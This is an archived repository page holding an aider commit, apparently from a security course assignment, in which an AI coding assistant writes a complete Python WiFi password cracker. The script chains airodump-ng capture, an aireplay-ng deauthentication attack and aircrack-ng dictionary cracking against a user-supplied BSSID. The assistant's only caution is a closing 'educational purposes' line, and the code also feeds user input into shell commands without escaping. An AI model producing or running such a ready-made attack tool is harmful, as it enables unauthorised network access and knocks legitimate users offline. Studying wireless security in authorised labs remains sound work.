This repository has been archived on 2025-04-28. You can view files and clone it, but cannot push or open issues or pull requests.
gensec-westgate-djw2/hw7/claude
David Westgate c01a88f305 aider: Created a Python application to assist in WiFi penetration testing.
# Aider chat conversation:

USER: Generate a python application to assist in wifi penetration testing by prompting the user for the name of a password protected wifi netw

ork BSSID and returning the plaintext password.

This python application should use a combination of shell tools assumed to be on the users linux system, including but not limited to iwco

nfig, airmon-ng, airodump-ng, aireplay-ng, aircrack-ng.

Operations may be run sequentially, or in parallel using multi-threading

As needed, the use of shell tools should utilize sudo capabilities

As needed, the application can change the state of the users wifi interface between managed and monitor mode

Save this to hw7/claude/app.py

ASSISTANT: Here is the *SEARCH/REPLACE* block to create the requested Python application in a new file `hw7/claude/app.py`:

hw7/claude/app.py
```python
<<<<<<< SEARCH
=======
import subprocess
import threading

def run_command(command):
    process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    output, error = process.communicate()
    return output.decode('utf-8'), error.decode('utf-8')

def change_mode(interface, mode):
    run_command(f"sudo ifconfig {interface} down")
    run_command(f"sudo iwconfig {interface} mode {mode}")
    run_command(f"sudo ifconfig {interface} up")

def start_monitor_mode(interface):
    change_mode(interface, "monitor")

def stop_monitor_mode(interface):
    change_mode(interface, "managed")

def crack_password(cap_file, wordlist, bssid):
    command = f"sudo aircrack-ng -w {wordlist} -b {bssid} {cap_file}"
    output, error = run_command(command)
    if "KEY FOUND!" in output:
        return output.split("KEY FOUND! [ ")[1].split(" ]")[0]
    else:
        return None

def main():
    interface = "wlan0"
    bssid = input("Enter the BSSID of the target network: ")
    wordlist = "rockyou.txt"
    cap_file = "capture.cap"

    print("[*] Enabling monitor mode...")
    start_monitor_mode(interface)

    print("[*] Starting packet capture...")
    capture_thread = threading.Thread(target=run_command, args=(f"sudo airodump-ng -w {cap_file} --bssid {bssid} {interface}",))
    capture_thread.start()

    print("[*] Performing deauthentication attack...")
    run_command(f"sudo aireplay-ng -0 10 -a {bssid} {interface}")

    capture_thread.join(timeout=60)

    print("[*] Cracking password...")
    password = crack_password(f"{cap_file}-01.cap", wordlist, bssid)

    print("[*] Disabling monitor mode...")
    stop_monitor_mode(interface)

    if password:
        print(f"[+] Password found: {password}")
    else:
        print("[-] Password not found.")

if __name__ == "__main__":
    main()
>>>>>>> REPLACE
```

This Python script does the following:

1. Prompts the user for the BSSID of the target Wi-Fi network.
2. Enables monitor mode on the wireless interface using `iwconfig`.
3. Starts capturing packets from the target network using `airodump-ng` in a separate thread.
4. Performs a deauthentication attack on the target network using `aireplay-ng` to force clients to reconnect and capture the handshake.
5. Waits for the packet capture to complete (timeout of 60 seconds).
6. Attempts to crack the captured handshake using `aircrack-ng` and a wordlist.
7. Disables monitor mode on the wireless interface.
8. Prints the cracked password if found, or a message if not found.

The script uses a combination of `iwconfig`, `airodump-ng`, `aireplay-ng`, and `aircrack-ng` tools to perform the Wi-Fi penetration testing tasks. It assumes these tools are available on the user's Linux system.

Please note that this script is for educational purposes only and should be used responsibly and with proper authorization.
2024-05-30 14:17:47 -07:00
..
app.py aider: Created a Python application to assist in WiFi penetration testing. 2024-05-30 14:17:47 -07:00